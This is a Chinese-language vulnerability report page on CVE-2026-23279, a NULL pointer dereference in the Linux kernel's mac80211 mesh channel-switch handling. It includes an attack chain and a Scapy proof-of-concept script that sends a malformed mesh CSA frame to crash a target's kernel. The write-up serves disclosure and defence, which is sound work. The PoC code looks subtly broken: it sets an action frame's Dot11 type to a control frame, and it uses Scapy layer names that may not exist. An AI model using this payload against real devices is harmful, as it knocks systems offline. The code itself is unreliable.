IPBUF安全漏洞报告
English
CVE-2026-23279 CVSS 5.5 中危

CVE-2026-23279 Linux内核mac80211空指针解引用漏洞

披露日期: 2026-03-25
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23279
漏洞类型
空指针解引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

空指针解引用Linux Kernelmac80211DoSWiFi

漏洞概述

Linux内核中的mac80211组件存在空指针解引用漏洞。该漏洞位于mesh_rx_csa_frame()函数中,由于在解引用elems->mesh_chansw_params_ie指针前未进行NULL检查,当接收到缺少Mesh Channel Switch Parameters IE的特制CSA动作帧时,内核会发生崩溃。攻击者只需建立网格对等连接即可触发此漏洞,导致系统拒绝服务。

技术细节

漏洞原理在于Linux内核net/mac80211/mesh.c文件中的mesh_rx_csa_frame()函数。该函数在处理信道切换(CSA)动作帧时,使用了elems->mesh_chansw_params_ie指针。虽然代码中的mesh_matches_local()函数验证了Mesh ID、Mesh配置和支持速率等IE元素,但并未验证Mesh信道切换参数IE(元素ID 118)是否存在。当攻击者发送一个包含匹配的Mesh ID和Mesh配置IE但故意省略Mesh信道切换参数IE的特制帧时,解析函数会将该指针置为NULL。随后的代码无条件解引用该指针(读取mesh_ttl和mesh_pre_value),导致内核空指针解引用错误,进而引发系统崩溃。

攻击链分析

STEP 1
1. 侦察与连接
攻击者扫描并发现目标Linux设备的无线Mesh接口,并与其建立已建立的对等链路(PLINK_ESTAB)。
STEP 2
2. 构造恶意帧
攻击者构造一个特制的SPECTRUM_MGMT/CHL_SWITCH动作帧。该帧包含有效的Mesh ID和Mesh Configuration IE以通过初步验证,但故意省略Mesh Channel Switch Parameters IE(ID 118)。
STEP 3
3. 发送攻击载荷
攻击者将构造好的恶意帧发送给目标Mesh节点。
STEP 4
4. 触发漏洞
目标节点在mesh_rx_csa_frame()函数中处理该帧,由于缺少IE导致指针为NULL,函数在解引用该指针时触发内核崩溃(Kernel Oops)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # Scapy PoC Concept for CVE-2026-23279 # Triggers NULL pointer dereference in mac80211 mesh_rx_csa_frame from scapy.all import * conf.iface = 'wlan0' # Change to your interface # Target and Source MACs target_mac = "AA:BB:CC:DD:EE:FF" source_mac = "11:22:33:44:55:66" bssid = source_mac # Construct the Action frame (Spectrum Management -> Channel Switch) # Must include Mesh ID and Mesh Config to pass mesh_matches_local() # Must EXCLUDE Mesh Channel Switch Parameters IE (ID 118) to trigger crash frame = RadioTap() / \ Dot11(type=1, subtype=13, addr1=target_mac, addr2=source_mac, addr3=bssid) / \ Dot11Action(category=SpectrumManagement) / \ Dot11ActionChSwSwitch(new_ch=6) / \ Dot11MeshID(meshid='meshnet') / \ Dot11MeshConf() # Intentionally omitted: Dot11MeshChSwParameter sendp(frame, verbose=1) print("PoC sent: Malformed Mesh CSA frame without Channel Switch Parameters IE")

影响范围

Linux Kernel >= 3.13
Linux Kernel 6.17.0-5-generic

防御指南

临时缓解措施
在未升级内核前,限制对无线Mesh网络的访问,仅允许受信任的设备建立Mesh对等连接,以降低被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表